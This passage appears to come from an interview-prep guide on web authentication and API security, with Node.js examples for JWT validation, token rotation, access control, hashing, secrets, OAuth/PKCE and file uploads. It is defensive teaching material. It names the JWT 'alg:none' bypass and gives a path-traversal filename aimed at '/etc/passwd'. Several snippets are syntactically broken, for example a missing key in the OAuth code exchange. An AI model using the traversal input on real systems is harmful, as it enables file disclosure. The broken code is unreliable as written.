res.setHeader("Referrer-Policy", "strict-origin-when-cross-origin")
// Don't leak full URL to other sites (e.g., URLs with tokens)

// Permissions-Policy (Feature-Policy renamed)
res.setHeader("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
// Disable unnecessary browser features

// Check headers at: securityheaders.com
// Aim for A+ rating
```

■ **Interview Tip:**
Add helmet.js to every Express app as a baseline. It takes one line and fixes most HTTP header security issues. Check securityheaders.com to audit your actual headers in production.

Q41 How JWT validation works?

■ Answer

JWT validation is a 4-step cryptographic verification process.

Steps:

1. Split token at dots → header, payload, signature
2. Verify signature: HMAC(header.payload, secret) === provided signature
3. Verify claims: exp (not expired), iss (correct issuer), aud (correct audience)
4. If all pass → trust the claims

What can go wrong:

- Algorithm confusion attack: alg:none → bypass signature
- Weak secret → brute-forceable
- Not checking exp → expired tokens accepted
- Not checking iss/aud → tokens from other apps accepted

Best practices:

- Always specify allowed algorithms explicitly
- Never accept alg:none
- Validate all standard claims

```
const jwt = require("jsonwebtoken")

// Full JWT validation
function validateToken(token) {
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ["HS256"],  // ■ whitelist! Never allow "none"
      issuer: "api.myapp.com",    // verify iss claim
      audience: "myapp.com",      // verify aud claim
    })
    // jwt.verify also checks:
    // - exp (throws TokenExpiredError if expired)
    // - nbf (not before)
    // - signature validity
    return { valid: true, payload: decoded }
  } catch (err) {
    if (err.name === "TokenExpiredError") {
      return { valid: false, expired: true }
    }
    if (err.name === "JsonWebTokenError") {
      return { valid: false, error: err.message }
    }
    return { valid: false, error: "Unknown error" }
  }
}

// Algorithm confusion attack (never allow this):
```

```
// ■ jwt.verify(token, secret) — attacker changes alg to "none"
```

```
29 // ■ jwt.verify(token, secret, { algorithms: ["HS256"] })
```

■ Interview Tip:
The algorithm confusion attack changes the header's alg field to "none" — if you don't whitelist algorithms, some libraries skip signature verification. Always pass { algorithms: ["HS256"] } or your specific algorithm.

Q42 Token expiration handling?

■ Answer

Handling token expiration gracefully is essential for good UX.

Strategy:

- Access token: short-lived (15 min)
- Refresh token: long-lived (7-30 days)
- On 401 → attempt silent refresh → retry request
- On refresh fail → redirect to login

Client-side flow:

1. Request fails with 401
2. Interceptor calls /refresh with cookie
3. Get new access token
4. Retry original request with new token
5. If refresh also fails → logout

Edge case:

- Parallel requests after expiry → multiple refresh calls
- Use a refresh promise queue to deduplicate

```
// Axios interceptor for token refresh
let refreshPromise = null

axios.interceptors.response.use(
  res => res,
  async (error) => {
    const original = error.config

    if (error.response?.status === 401 && !original._retry) {
      original._retry = true

      // Deduplicate concurrent refresh requests
      if (!refreshPromise) {
        refreshPromise = axios.post("/api/refresh", {}, {
          withCredentials: true  // send refresh cookie
        }).finally(() => { refreshPromise = null })
      }

      try {
        const { data } = await refreshPromise
        accessToken = data.accessToken  // store in memory
        original.headers.Authorization = `Bearer ${accessToken}`
        return axios(original)  // retry
      } catch {
        // Refresh failed — logout
        window.location = "/login"
      }
    }
  }
```

```
    return Promise.reject(error)
  }
)
```

■ Interview Tip:
The refreshPromise deduplication is critical — without it, 5 simultaneous expired requests would trigger 5 refresh calls, causing race conditions. Queue all requests to wait for one refresh, then retry them all with the new token.

Q43 Refresh token rotation?

■ Answer

Refresh token rotation issues a new refresh token every time one is used.

Why:

- Refresh tokens are long-lived → high value if stolen
- Rotation limits the window of stolen token use
- Detect token reuse → attacker used stolen token

How it works:

1. Client sends refresh token R1
2. Server issues new access token + new refresh token R2
3. Server invalidates R1
4. If attacker uses R1 again → detect theft!

Reuse detection:

- Attacker uses R1 after client has R2
- Server sees R1 already used → flag as theft
- Invalidate entire refresh token family
- Force re-login for all sessions

```
// Refresh token rotation with reuse detection

// Token family stored in DB:
// { familyId, currentToken, used: [R1, R2...], userId }

app.post("/refresh", async (req, res) => {
  const oldToken = req.cookies.refreshToken
  if (!oldToken) return res.status(401).json({ error: "No token" })

  const tokenDoc = await RefreshToken.findOne({ token: oldToken })

  if (!tokenDoc) {
    // Token not found — possible theft of old token!
    // Check if it was in a family
    const family = await TokenFamily.findOne({ used: oldToken })
    if (family) {
      // REUSE DETECTED — invalidate entire family
      await RefreshToken.deleteMany({ familyId: family.id })
      return res.status(401).json({ error: "Token reuse detected" })
    }
    return res.status(401).json({ error: "Invalid token" })
  }

  // Issue new tokens
  const newRefreshToken = crypto.randomBytes(40).toString("hex")
  await RefreshToken.findByIdAndDelete(tokenDoc._id)  // delete old
  await RefreshToken.create({  // create new
    token: newRefreshToken, userId: tokenDoc.userId,
```

```
    familyId: tokenDoc.familyId
  })

  const newAccessToken = jwt.sign({ userId: tokenDoc.userId }, JWT_SECRET, { expiresIn: "15m" })
  res.cookie("refreshToken", newRefreshToken, { httpOnly: true, secure: true })
  res.json({ accessToken: newAccessToken })
})
```

■ Interview Tip:
Refresh token rotation makes token theft detectable. If an attacker steals and uses a refresh token, the legitimate user's next refresh will see the expected token is already used — triggering reuse detection and forcing re-login.

Q44 Stateless vs stateful auth?

■ Answer

Two fundamentally different approaches to managing auth state.

Stateful (Session-based):

- Server stores session data
- Client holds only a session ID
- Instant revocation (delete session)
- Requires shared session store for scale (Redis)

Stateless (JWT-based):

- State embedded in token
- Server validates signature only (no DB)
- Scales horizontally without shared store
- Cannot revoke individual tokens easily

Trade-offs:

- Security vs scalability tension
- Session: revocable + stateful; JWT: scalable + unrevocable
- Hybrid: JWT for most, revocation list for edge cases

When to use which:

- Banking/security-critical → session (revocable)
- API/microservices → JWT (stateless)

```
// STATEFUL — session approach
// Session stored in Redis
app.post("/login", async (req, res) => {
  const user = await verifyUser(req.body)
  req.session.userId = user.id  // save state server-side
  res.json({ message: "logged in" })
})

// Revoke instantly:
await redis.del(`sess:${sessionId}`)  // session gone immediately

// STATELESS — JWT approach
app.post("/login", async (req, res) => {
  const user = await verifyUser(req.body)
  const token = jwt.sign({ userId: user.id }, SECRET, { expiresIn: "15m" })
  res.json({ token })  // state in token, not server
})

// Revoke JWT (compromise — small blocklist):
const tokenBlocklist = new Set()

const authenticate = (req, res, next) => {
  const token = req.headers.authorization?.split(" ")[1]
  if (tokenBlocklist.has(token)) return res.status(401).json({ error: "Revoked" })
```

```
  const payload = jwt.verify(token, SECRET)
  req.user = payload
  next()
}

// Logout — add to blocklist until natural expiry
app.post("/logout", authenticate, (req, res) => {
  tokenBlocklist.add(req.headers.authorization?.split(" ")[1])
  res.json({ message: "logged out" })
})
```

■ **Interview Tip:**
Short-lived JWTs (15 min) reduce the revocation problem to an acceptable level for most apps. A blocklist only needs to hold tokens for 15 minutes, not indefinitely. This gives you most of the scalability benefits while enabling effective logout.

Q45 How to design auth system?

■ Answer

Designing a complete authentication system involves multiple components.

Core components:

- Identity store — users, credentials, roles
- Token service — issue/validate/revoke tokens
- Session management — track active sessions
- MFA service — second factor verification
- Audit log — record all auth events

Design decisions:

- Session vs JWT (stateful vs stateless)
- Where to store tokens (cookie vs header)
- Token lifespan (access vs refresh)
- Password policy (complexity, expiry)
- Account lockout policy

Security features:

- Breached password check (HaveIBeenPwned API)
- Device fingerprinting
- Suspicious activity detection
- Email verification

```
// Auth system design — key endpoints

// POST /auth/register
// - Validate email, password strength
// - Check HaveIBeenPwned for breached passwords
// - Hash with bcrypt(12)
// - Send verification email
// - Return: userId (no token until verified)

// POST /auth/login
// - Find user by email
// - bcrypt.compare (even if user not found)
// - Check account lockout
// - If MFA enabled → return partial token (mfa_required)
// - Issue access + refresh tokens
// - Log auth event

// POST /auth/refresh
// - Validate refresh token from httpOnly cookie
// - Rotate: issue new refresh + new access token
// - Return new access token in body

// POST /auth/logout
// - Invalidate refresh token (DB delete)
```

```
// - Clear httpOnly cookie
```

```
// - Add access token to short-lived blocklist

// POST /auth/mfa/verify
// - Validate TOTP code
// - Exchange mfa_pending_token → full access token

// GET /auth/sessions
// - List active sessions with device info
// - Allow user to revoke specific sessions
```

■ Interview Tip:
Build an audit log from day one — log every login, logout, failed attempt, password change, MFA enrollment. It's invaluable for security incident response and compliance. Include: userId, action, IP, user agent, timestamp, success/fail.

Q46 What is RBAC?

■ Answer

RBAC (Role-Based Access Control) grants permissions to roles, not individual users.

How it works:

- Define roles: admin, editor, viewer, moderator
- Assign permissions to roles
- Assign roles to users
- Check role on each request

Benefits:

- Simple to manage — change role, change all permissions
- Easy to understand and audit
- Good for apps with clear user types

Limitations:

- Role explosion for complex scenarios
- Can't express "user can edit ONLY their own posts"
- Need ABAC or ReBAC for fine-grained control

Hierarchy:

- admin > editor > viewer
- Higher role inherits lower permissions

```
// RBAC setup in MongoDB
const userSchema = new mongoose.Schema({
  email: String,
  passwordHash: String,
  role: {
    type: String,
    enum: ["user", "editor", "moderator", "admin"],
    default: "user"
  }
})

// Role hierarchy
const ROLE_HIERARCHY = {
  admin: ["admin", "moderator", "editor", "user"],
  moderator: ["moderator", "editor", "user"],
  editor: ["editor", "user"],
  user: ["user"]
}

// Auth middleware with hierarchy
const authorize = (minRole) => (req, res, next) => {
  const allowed = ROLE_HIERARCHY[req.user.role] || []
  if (!allowed.includes(minRole)) {
    return res.status(403).json({ error: "Insufficient role" })
  }
```

```
    next()
}

// Usage
router.get("/reports", authenticate, authorize("editor"), getReports)
router.delete("/users/:id", authenticate, authorize("admin"), deleteUser)
router.post("/posts", authenticate, authorize("user"), createPost)
```

■ **Interview Tip:**
RBAC shines for well-defined user types (SaaS: free, pro, admin). For "can user X access resource Y they own?" you need resource-level checks on top of RBAC — or switch to ABAC/ReBAC for those specific cases.

Q47 What is ABAC?

■ Answer

ABAC (Attribute-Based Access Control) makes authorization decisions based on attributes.

Attributes can be:

- Subject attributes — user.department, user.clearance, user.location
- Resource attributes — document.classification, post.ownerId
- Environment attributes — current time, IP address, device
- Action — read, write, delete

vs RBAC:

- RBAC — role determines access (blunt)
- ABAC — multiple attributes + conditions (fine-grained)
- ABAC can express: "HR dept can read salary data during business hours"

Policy example (XACML-like):

- ALLOW: user.dept == doc.dept AND time.hour IN [9..17]
- ALLOW: user.role == "admin" OR user.id == resource.ownerId

Trade-off:

- More expressive but more complex

```
// ABAC policy engine
const policies = [
  {
    id: "owner-can-edit",
    effect: "allow",
    condition: (user, resource, action) =>
      action === "edit" && resource.ownerId === user.id
  },
  {
    id: "admin-all",
    effect: "allow",
    condition: (user) => user.role === "admin"
  },
  {
    id: "dept-restricted",
    effect: "allow",
    condition: (user, resource) =>
      resource.department === user.department
  },
  {
    id: "business-hours-only",
    effect: "deny",
    condition: (user, resource, action, env) =>
      action === "export" && (env.hour < 9 || env.hour > 17)
  }
]
```

```
function isAllowed(user, resource, action) {
  const env = { hour: new Date().getHours() }
  // Check denies first
  const denied = policies.some(p =>
    p.effect === "deny" && p.condition(user, resource, action, env)
  )
  if (denied) return false
  // Then check allows
  return policies.some(p =>
    p.effect === "allow" && p.condition(user, resource, action, env)
  )
}
```

■ Interview Tip:
For complex ABAC, consider using established policy engines like Open Policy Agent (OPA) or Casbin rather than rolling your own. They support sophisticated policies, are battle-tested, and support policy-as-code approaches.

Q48 What is permission-based auth?

■ Answer

Permission-based auth assigns specific permissions directly to users or roles.

vs RBAC:

- RBAC: user → role → permissions (indirect)
- Permission-based: user → permissions (direct)
- Or hybrid: user → roles → permissions + user → extra permissions

Permissions are granular actions:

- posts:create, posts:edit, posts:delete, posts:publish
- users:read, users:write, users:delete
- reports:view, reports:export

Benefits:

- Fine-grained control
- Flexible — assign any combo to a user
- Easy to audit ("who can delete posts?")

Stored in JWT:

- Include permissions array in token payload
- No DB lookup needed for authorization

```
// Permission-based system
const PERMISSIONS = {
  READ_POSTS: "posts:read",
  CREATE_POSTS: "posts:create",
  DELETE_POSTS: "posts:delete",
  MANAGE_USERS: "users:manage",
  VIEW_REPORTS: "reports:view",
}

// Roles → permissions mapping
const ROLE_PERMISSIONS = {
  user: [PERMISSIONS.READ_POSTS, PERMISSIONS.CREATE_POSTS],
  editor: [PERMISSIONS.READ_POSTS, PERMISSIONS.CREATE_POSTS, PERMISSIONS.DELETE_POSTS],
  admin: Object.values(PERMISSIONS)
}

// Include in JWT
const token = jwt.sign({
  userId: user.id,
  permissions: ROLE_PERMISSIONS[user.role]
}, JWT_SECRET)

// Middleware
const can = (permission) => (req, res, next) => {
  if (!req.user.permissions?.includes(permission)) {
```

```
    return res.status(403).json({ error: Requires ${permission} })
```

```
  }
  next()
}

// Routes
router.post("/posts", authenticate, can("posts:create"), createPost)
router.delete("/posts/:id", authenticate, can("posts:delete"), deletePost)
router.get("/reports", authenticate, can("reports:view"), getReports)
```

■ Interview Tip:
Including permissions in the JWT enables authorization without a database call on every request. The tradeoff: permission changes don't take effect until the token expires. Use short-lived tokens (15 min) to limit this window.

Q49 How to secure APIs?

■ Answer

API security requires multiple layers of protection.

Authentication:

- JWT or API key for every request
- HTTPS only — never HTTP

Authorization:

- Least privilege — minimal access per client
- Resource-level checks (can user access THIS resource?)

Rate limiting & throttling:

- Per IP and per user limits
- Protect against brute force and DoS

Input validation:

- Validate all inputs with Zod/Joi
- Reject unexpected fields (strip extras)
- Parameterized queries

Output:

- Never expose internal errors
- Don't over-expose data (return only what's needed)
- Paginate large datasets

```
// Secure API setup — checklist in code

// 1. HTTPS enforced
app.use((req, res, next) => {
  if (!req.secure && process.env.NODE_ENV === "production")
    return res.redirect("https://" + req.headers.host + req.url)
  next()
})

// 2. Security headers
app.use(helmet())

// 3. Rate limiting
app.use("/api/", rateLimit({ windowMs: 60000, max: 100 }))

// 4. Input validation
const schema = z.object({
  title: z.string().min(1).max(200),
  content: z.string().max(10000)
})
app.post("/posts", authenticate, (req, res, next) => {
  req.body = schema.parse(req.body)  // throws on invalid
```

```
  next()
```

```
}, createPost)

// 5. Authorization check (resource-level)
app.delete("/posts/:id", authenticate, async (req, res) => {
  const post = await Post.findById(req.params.id)
  if (post.authorId !== req.user.id && req.user.role !== "admin") {
    return res.status(403).json({ error: "Not your post" })
  }
  await post.deleteOne()
  res.json({ success: true })
})

// 6. Sanitize output (no password fields)
const safeUser = ({ id, email, name, role }) => ({ id, email, name, role })
```

■ Interview Tip:
OWASP API Security Top 10 is essential reading. Common API vulnerabilities: BOLA (Broken Object Level Authorization — not checking if user owns the resource), mass assignment (accepting all request fields into DB), and excessive data exposure.

Q50 API gateway auth?

■ Answer

An API gateway centralizes authentication and cross-cutting concerns.

What API gateways handle:

- Authentication — validate tokens before routing
- Rate limiting — per client, per route
- Request routing — to correct microservice
- SSL termination — HTTPS at gateway
- Request/response transformation
- Logging and monitoring

Auth at gateway:

- Gateway validates JWT
- Passes user identity to downstream services
- Services trust the gateway (mTLS or shared secret)
- Services don't need auth libraries

Options:

- Kong, AWS API Gateway, Nginx, Traefik
- Cloudflare Workers (edge)

```
// API Gateway pattern (e.g., Nginx config)
// gateway validates JWT, passes userId to services

// 1. Gateway validates token, extracts user
// nginx config:
// auth_request /validate-token;
// auth_request_set $user_id $upstream_http_x_user_id;
// proxy_set_header X-User-Id $user_id;

// 2. Validation service
app.get("/validate-token", (req, res) => {
  const token = req.headers.authorization?.split(" ")[1]
  try {
    const decoded = jwt.verify(token, JWT_SECRET)
    res.setHeader("X-User-Id", decoded.userId)
    res.setHeader("X-User-Role", decoded.role)
    res.status(200).send()
  } catch {
    res.status(401).send()
  }
})

// 3. Downstream microservice — trusts gateway headers
app.get("/posts", (req, res) => {
  const userId = req.headers["x-user-id"]  // from gateway
  // No JWT validation needed — gateway already did it
```

```
  const posts = await Post.find({ authorId: userId })
```

```
  res.json(posts)
})

// ■■ Microservices must only accept requests from gateway
// Use mTLS or firewall rules to prevent bypass
```

■ Interview Tip:
The key security concern with API gateway auth: microservices must ONLY be reachable through the gateway. If an attacker can directly reach a microservice (bypassing the gateway), they can forge X-User-Id headers. Use network-level controls (VPC, firewall rules, mTLS) to enforce this.

Q51 How to store passwords securely?

■ Answer

Passwords must be hashed with a slow, adaptive algorithm — never stored in plain text.

NEVER do this:

- Plain text storage — one breach = all passwords exposed
- MD5/SHA1/SHA256 — fast, rainbow table attackable
- Encryption — can be decrypted if key stolen

Use bcrypt, argon2, or scrypt:

- Slow by design — brute force impractical
- Adaptive — increase cost as hardware improves
- Built-in salting — no rainbow tables

bcrypt cost factor:

- Factor 10 = ~100ms
- Factor 12 = ~250ms (recommended)
- argon2id — winner of Password Hashing Competition

```
const bcrypt = require("bcrypt")
const argon2 = require("argon2")  // modern alternative

// bcrypt — hash on register
async function hashPassword(plaintext) {
  const SALT_ROUNDS = 12  // ~250ms
  return bcrypt.hash(plaintext, SALT_ROUNDS)
}

// Compare on login
async function verifyPassword(plaintext, hash) {
  return bcrypt.compare(plaintext, hash)  // timing-safe!
}

async function login(email, password) {
  const user = await User.findOne({ email }).select("+password")
  if (!user) {
    await bcrypt.hash("dummy", 12)  // prevent timing attack
    return null
  }
  const isValid = await verifyPassword(password, user.password)
  return isValid ? user : null
}

// argon2 — more secure (recommended for new projects)
async function hashArgon(plaintext) {
  return argon2.hash(plaintext, {
    type: argon2.argon2id,
    memoryCost: 2 ** 16,  // 64 MB
    timeCost: 3,
```

```
    parallelism: 1
  })
}
```

■ Interview Tip:
Use constant-time comparison (bcrypt.compare, not ===) to prevent timing attacks. Always hash a dummy value even when user not found — so an attacker can't detect non-existent accounts from response timing.

Q52 Hashing vs encryption?

■ Answer

Two different cryptographic operations with different use cases.

Hashing:

- One-way transformation — cannot reverse
- Same input = same output (deterministic)
- No key required
- Use for: passwords, data integrity, digital signatures

Encryption:

- Two-way transformation — can decrypt with key
- Requires a key
- Use for: data you need to retrieve (PII, messages, files)

When to use which:

- Passwords → hash (bcrypt) — no need to recover original
- Credit card numbers → encrypt (AES-256) — need to charge later
- SSN, DOB → encrypt — need to display to user
- File checksums → hash (SHA-256)

Symmetric vs Asymmetric encryption:

- Symmetric — same key for encrypt/decrypt (AES)
- Asymmetric — public key encrypts, private decrypts (RSA)

```
const crypto = require("crypto")

// HASHING — one-way
const hash = crypto.createHash("sha256")
  .update(data)
  .digest("hex")
// Cannot recover original data from hash

// SYMMETRIC ENCRYPTION — AES-256-GCM
const ALGORITHM = "aes-256-gcm"

function encrypt(text, key) {
  const iv = crypto.randomBytes(16)
  const cipher = crypto.createCipheriv(ALGORITHM, key, iv)
  const encrypted = Buffer.concat([cipher.update(text, "utf8"), cipher.final()])
  const authTag = cipher.getAuthTag()  // authentication tag
  return {
    encrypted: encrypted.toString("hex"),
    iv: iv.toString("hex"),
    authTag: authTag.toString("hex")
  }
}

```

```
function decrypt({ encrypted, iv, authTag }, key) {
```

```
  const decipher = crypto.createDecipheriv(
    ALGORITHM, key, Buffer.from(iv, "hex")
  )
  decipher.setAuthTag(Buffer.from(authTag, "hex"))
  return Buffer.concat([
    decipher.update(Buffer.from(encrypted, "hex")),
    decipher.final()
  ]).toString("utf8")
}
```

■ **Interview Tip:**
Use AES-256-GCM (not AES-256-CBC) for encryption — the GCM mode provides authenticated encryption, meaning it detects tampering. Never encrypt passwords — if DB is breached, attacker gets the key and decrypts everything. Hash them instead.

Q53 Key management?

■ Answer

Key management handles the lifecycle of cryptographic keys.

Key lifecycle:

- Generation — cryptographically random, sufficient length
- Storage — never in code, env vars or secrets manager
- Distribution — secure channels only
- Rotation — periodic key changes
- Revocation — invalidate compromised keys
- Destruction — secure deletion

What NOT to do:

- Hardcode keys in source code
- Commit keys to git
- Store in localStorage
- Use weak/predictable keys

Best practices:

- Use secrets managers (AWS KMS, HashiCorp Vault)
- Separate keys per environment
- Audit key access
- Rotate regularly

```
// ■ NEVER — hardcoded key
const JWT_SECRET = "mysecret123"  // in source code

// ■ Environment variables (better)
const JWT_SECRET = process.env.JWT_SECRET
// .env file in .gitignore, never committed

// Generate strong secrets:
// node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
// → 128 hex chars of cryptographic randomness

// ■ AWS KMS for encryption keys
const { KMSClient, GenerateDataKeyCommand } = require("@aws-sdk/client-kms")
const kms = new KMSClient({})

async function getDataKey() {
  const { CiphertextBlob, Plaintext } = await kms.send(
    new GenerateDataKeyCommand({
      KeyId: process.env.KMS_KEY_ID,
      KeySpec: "AES_256"
    })
  )
  // Use Plaintext for encryption, store CiphertextBlob with data
  // KMS decrypts CiphertextBlob when you need the key again
  return { plaintextKey: Plaintext, encryptedKey: CiphertextBlob }
```

```
}

// Key rotation: update JWT secret → old tokens invalid
// Use key versioning: sign with new key, accept old during transition
```

■ Interview Tip:
Use envelope encryption: KMS generates a data encryption key (DEK), you encrypt your data with the DEK, then KMS encrypts the DEK. Store the encrypted DEK with the data. KMS never touches your actual data — only the key.

Q54 Secrets management?

■ Answer

Secrets management handles sensitive configuration (DB passwords, API keys, tokens).

Common secrets:

- Database passwords
- JWT signing secrets
- Third-party API keys
- Encryption keys
- OAuth client secrets

Tools:

- HashiCorp Vault — open source, self-hosted
- AWS Secrets Manager — managed, integrated with IAM
- GCP Secret Manager
- Azure Key Vault
- Doppler — developer-friendly

Principles:

- Least privilege access to secrets
- Audit all secret access
- Rotate secrets regularly
- Detect secret leaks (GitGuardian, truffleHog)

```
// AWS Secrets Manager in Node.js
const { SecretsManagerClient, GetSecretValueCommand }
  = require("@aws-sdk/client-secrets-manager")

const client = new SecretsManagerClient({ region: "us-east-1" })

async function getSecret(secretName) {
  const response = await client.send(
    new GetSecretValueCommand({ SecretId: secretName })
  )
  return JSON.parse(response.SecretString)
}

// On app startup — load secrets
async function loadConfig() {
  const dbSecrets = await getSecret("prod/myapp/database")
  const appSecrets = await getSecret("prod/myapp/jwt")
  return {
    dbUrl: mongodb+srv://${dbSecrets.username}:${dbSecrets.password}@...,
    jwtSecret: appSecrets.jwtSecret,
    jwtRefreshSecret: appSecrets.jwtRefreshSecret
  }
}

```

```
// .env for local dev only — never in production
```

```
// Use .env.example in git (no real values)

// Scan for leaked secrets:
// npm install -g trufflehog
// trufflehog git https://github.com/yourorg/repo
```

■ Interview Tip:
Rotate secrets immediately if you accidentally commit them — assume they're compromised. Use GitGuardian or truffleHog to scan your git history for leaked secrets. AWS Secrets Manager can auto-rotate database passwords for you.

Q55 How to secure microservices?

■ Answer

Microservices introduce unique security challenges — more attack surface, inter-service communication.

Service-to-service auth:

- mTLS (mutual TLS) — both sides verify certificates
- Service accounts with short-lived tokens
- API keys (simpler but less secure)

Network security:

- Service mesh (Istio, Linkerd) — mTLS by default
- VPC / private network — services not public
- API gateway — single entry point

Secrets:

- Each service has minimal needed secrets
- HashiCorp Vault with service-specific policies
- Kubernetes Secrets + RBAC

Observability:

- Distributed tracing (include auth context)
- Centralized audit logs
- Alert on anomalous access patterns

```
// Service-to-service JWT (internal auth)
const SERVICE_SECRET = process.env.INTERNAL_SERVICE_SECRET

// Order service calls Product service
async function callProductService(productId) {
  const serviceToken = jwt.sign(
    { service: "order-service", scope: "products:read" },
    SERVICE_SECRET,
    { expiresIn: "1m" }  // short-lived service tokens
  )
  return fetch(`${PRODUCT_SERVICE_URL}/products/${productId}`, {
    headers: { Authorization: `Bearer ${serviceToken}` }
  })
}

// Product service — validates service token
app.use((req, res, next) => {
  const token = req.headers.authorization?.split(" ")[1]
  const decoded = jwt.verify(token, SERVICE_SECRET)
  if (!decoded.service) throw new Error("Not a service token")
  req.callingService = decoded.service
  next()
})

```

```
// Pass user context across services
```

```
// Gateway → Order Service → Product Service
// Include original user ID in service-to-service calls:
headers["X-User-Id"] = req.user.id
headers["X-User-Role"] = req.user.role
// Each service can then enforce resource-level auth
```

■ Interview Tip:
In a microservices architecture, if any one service is compromised, it could impersonate any user to other services. Use short-lived service tokens (1-5 min) and scope them to specific operations ("products:read") to limit blast radius.

Q56 Zero trust architecture?

■ Answer

Zero Trust is a security model: "never trust, always verify" — even inside the network.

Traditional model ("castle and moat"):

- Firewall protects perimeter
- Inside network = trusted
- Flaw: attacker gets inside → moves freely

Zero Trust principles:

- Verify explicitly — authenticate every request
- Least privilege access — minimal permissions
- Assume breach — design for containment
- Verify device — not just user identity

Implementation:

- mTLS between services
- Short-lived credentials
- Micro-segmentation
- Continuous monitoring
- Device health checks (MDM)

```
// Zero Trust: every service verifies every request

// 1. Strong identity for every request
const authenticate = async (req, res, next) => {
  // Verify JWT (user or service identity)
  const payload = jwt.verify(token, SECRET, { algorithms: ["RS256"] })

  // Verify device/context
  const device = await verifyDevice(payload.deviceId)
  if (!device.compliant) return res.status(403).json({ error: "Device not compliant" })

  // Verify IP is expected range (optional)
  req.identity = { user: payload, device }
  next()
}

// 2. Least privilege — scope tokens
const scopedToken = jwt.sign({
  userId: user.id,
  scope: ["orders:read"],  // NOT everything
  resource: "/api/orders"  // only this resource
}, SECRET, { expiresIn: "15m" })

// 3. Continuous validation — re-check on sensitive ops
app.delete("/critical-action", authenticate, async (req, res) => {
  // Step-up auth: require fresh MFA for critical actions
```

```
  const mfaValid = await verifyRecentMFA(req.user.id, maxAge = 5 * 60)
```

```
  if (!mfaValid) return res.status(401).json({ error: "Re-authenticate" })
  // ... proceed
})
```

■ Interview Tip:
Zero Trust is a mindset more than a product. The key shift: stop assuming your internal network is safe. Lateral movement after a breach is one of the biggest threats — Zero Trust limits it by requiring authentication and authorization for every internal request.

Q57 OAuth flow types?

■ Answer

OAuth 2.0 defines several grant types (flows) for different scenarios.

1. Authorization Code (web apps):

- Server-side, client secret kept secure
- Exchange code for tokens server-side
- Most secure, most common

2. Authorization Code + PKCE (SPA/mobile):

- No client secret (can't be kept secret in JS/mobile)
- Code challenge prevents code interception
- Recommended for public clients

3. Client Credentials (machine-to-machine):

- No user involved
- Service authenticates with client ID + secret
- Used for cron jobs, background services

4. Implicit — DEPRECATED (don't use):

- Token returned in URL fragment
- Vulnerable to token leakage
- Use PKCE instead

5. Device Code (TV/CLI):

- For devices without browsers

```
// 1. Authorization Code (server-side)
// Step 1: Redirect user
res.redirect(`${AUTH_URL}?response_type=code&client_id=...&redirect_uri=...`)
// Step 2: Exchange code (server-side, secret is safe)
const tokens = await fetch(TOKEN_URL, {
  method: "POST",
  body: new URLSearchParams({
    grant_type: "authorization_code",
      req.query.code,
    client_secret: CLIENT_SECRET  // safe server-side
  })
})

// 2. PKCE (SPA / mobile)
// Generate code verifier + challenge
const verifier = crypto.randomBytes(32).toString("base64url")
const challenge = crypto.createHash("sha256")
  .update(verifier).digest("base64url")

res.redirect(`${AUTH_URL}?code_challenge=${challenge}&code_challenge_method=S256`)
// Exchange code with verifier (no secret needed)
```

```
const tokens = await fetch(TOKEN_URL, {
```

```
  body: new URLSearchParams({ code_verifier: verifier, grant_type: "authorization_code" })
})

// 3. Client Credentials (M2M)
const tokens = await fetch(TOKEN_URL, {
  body: new URLSearchParams({
    grant_type: "client_credentials",
    client_id: CLIENT_ID,
    client_secret: CLIENT_SECRET,
    scope: "api:read"
  })
})
```

■ **Interview Tip:**
Never use Implicit flow for new apps — use Authorization Code + PKCE for public clients (SPAs, mobile). PKCE makes the authorization code useless even if intercepted, without needing a client secret.

Q58 PKCE flow?

■ Answer

PKCE (Proof Key for Code Exchange) prevents authorization code interception attacks.

Problem it solves:

- Mobile/SPA apps can't store client secrets
- Authorization code in URL could be intercepted
- Malicious app on same device could intercept redirect

How PKCE works:

1. Generate random code_verifier
2. Hash it → code_challenge = SHA256(verifier)
3. Send challenge with auth request
4. After user approves → get authorization code
5. Exchange code + ORIGINAL verifier (not hash)
6. Auth server verifies: SHA256(verifier) === stored challenge

Why it works:

- Attacker intercepts code → doesn't have verifier
- Can't exchange code without verifier
- Verifier never transmitted until code exchange

```
// PKCE implementation
const crypto = require("crypto")

// 1. Generate code verifier (random)
function generateVerifier() {
  return crypto.randomBytes(32).toString("base64url")
  // base64url: URL-safe, no padding
}

// 2. Generate challenge from verifier
function generateChallenge(verifier) {
  return crypto.createHash("sha256")
    .update(verifier)
    .digest("base64url")
}

// 3. Start auth flow (client)
const verifier = generateVerifier()
const challenge = generateChallenge(verifier)
sessionStorage.setItem("pkce_verifier", verifier)  // store temporarily

// Build auth URL with challenge
const authUrl = `${AUTH_URL}?` + new URLSearchParams({
  response_type: "code",
  client_id: CLIENT_ID,
  redirect_uri: REDIRECT_URI,
```

```
  code_challenge: challenge,
```

```
  code_challenge_method: "S256",
  scope: "openid email profile"
})
window.location.href = authUrl

// 4. Handle callback — exchange code + verifier
const code = new URLSearchParams(location.search).get("code")
const verifier = sessionStorage.getItem("pkce_verifier")
const tokens = await fetch(TOKEN_URL, {
  method: "POST",
  body: new URLSearchParams({
    grant_type: "authorization_code",
    code, client_id: CLIENT_ID,
    redirect_uri: REDIRECT_URI,
    code_verifier: verifier  // proof — not the hash!
  })
})
```

■ Interview Tip:
PKCE is now recommended for ALL OAuth clients, not just public ones. Even confidential clients (with secrets) benefit from PKCE as an additional layer. RFC 9700 mandates PKCE for all new OAuth deployments.

Q59 Secure file upload?

■ Answer

File uploads are a common attack vector — they require careful validation and handling.

Attack vectors:

- Malicious file type (upload .php as .jpg → execute on server)
- Path traversal (../../../etc/passwd as filename)
- Large files (DoS)
- XSS via SVG upload
- Virus/malware upload

Prevention:

- Validate file type by content (magic bytes), not extension
- Store outside web root or in cloud (S3)
- Rename files (random UUID)
- Scan for malware (ClamAV, VirusTotal API)
- Size limits
- Serve via CDN, not directly from app server
- Use pre-signed URLs for secure access

```
const multer = require("multer")
const { v4: uuid } = require("uuid")

// Validate file type by magic bytes (not extension)
const ALLOWED_TYPES = {
  "image/jpeg": [0xFF, 0xD8, 0xFF],
  "image/png": [0x89, 0x50, 0x4E, 0x47],
  "application/pdf": [0x25, 0x50, 0x44, 0x46],
}

function validateMagicBytes(buffer, mimeType) {
  const bytes = ALLOWED_TYPES[mimeType]
  if (!bytes) return false
  return bytes.every((byte, i) => buffer[i] === byte)
}

// Multer config
const upload = multer({
  storage: multer.memoryStorage(),  // process in memory first
